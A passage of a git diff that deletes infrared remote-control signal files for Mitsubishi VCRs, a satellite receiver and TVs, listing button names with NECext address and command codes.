00 00 00 -command: 0A 00 00 00 -# -name: VCRA_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCRA_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCRA_FS/+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCRA_CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCRA_RS/- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 17 00 00 00 -# -name: VCRA_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCRA_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: VCRA_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCRA_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCRA_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCRA_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_R.PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2D 00 00 00 -# -name: VCRA_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCRA_SLOW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: VCRA_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCRA_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCRA_A -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 39 00 00 00 -# -name: VCRA_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INTRO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3D 00 00 00 -# -name: VCRA_VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCRA_VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: VCRA_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCRA_AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCRA_AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: VCRB_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: VCRB_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: VCRB_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: VCRB_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: VCRB_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: VCRB_CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: VCRB_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: VCRB_FS/+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: VCRB_CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: VCRB_RS/- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 97 00 00 00 -# -name: VCRB_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: VCRB_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9A 00 00 00 -# -name: VCRB_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: VCRB_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: VCRB_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: VCRB_R.PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AD 00 00 00 -# -name: VCRB_PLAY_R._< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AD 00 00 00 -# -name: VCRB_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: VCRB_SLOW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B4 00 00 00 -# -name: VCRB_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: VCRB_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: VCRB_A -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B9 00 00 00 -# -name: VCRB_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_INTRO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BD 00 00 00 -# -name: VCRB_VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: VCRB_VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C8 00 00 00 -# -name: VCRB_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: VCRB_AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: VCRB_AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir deleted file mode 100644 index 0cdaa1ccd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: NEW_CODE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir deleted file mode 100644 index 2a80e41c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir deleted file mode 100644 index 9363beec9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CABLE_INPUT_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1A 00 00 00 -# -name: CABLE_INPUT_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir deleted file mode 100644 index 882bfa424..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir +++ /dev/null @@ -1,1082 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: ST/SAP/MONO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 03 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 04 00 00 00 -# -name: EXTERNAL_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 05 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0B 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0C 00 00 00 -# -name: EXTERNAL_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0D 00 00 00 -# -name: QUICK_VIEW -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q/V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q_/_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: RCL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: EXP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 13 00 00 00 -# -name: AUDIO_EXPANSION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 13 00 00 00 -# -name: OFF-T -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF-T/OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_SLEEP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: INPUT_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_INFO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISPLAY_RECALL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_LOCK -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 23 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2B 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: INPUT;_VGA -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 31 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: AV_MEMORY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 33 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: ENTER/EXCH -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: EXCH -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 36 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 39 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV/EXT1/2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: DEVICE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3E 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3F 00 00 00 -# -name: VIDEO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJUST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 42 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 42 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 43 00 00 00 -# -name: FUNCTION_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 45 00 00 00 -# -name: VIDEO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_EXCH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4A 00 00 00 -# -name: ANT_B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4C 00 00 00 -# -name: INPUT:_ANTENNA_B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4C 00 00 00 -# -name: SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: TV_SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: MUNU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: UNKNOWN_#2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 54 00 00 00 -# -name: AUDIO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 -# -name: INPUT;_VIDEO_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 59 00 00 00 -# -name: ANT_A -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5A 00 00 00 -# -name: INPUT:_ANTENNA_A -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5A 00 00 00 -# -name: FUNCTION_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5C 00 00 00 -# -name: UNKNOWN_#1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5C 00 00 00 -# -name: PIP_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: TV_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: PIP_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: INPUT;_COMP_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 61 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 62 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 62 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 63 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 63 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: TV_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: TV_ADJUST_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: FREEZE_(PAUSE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: 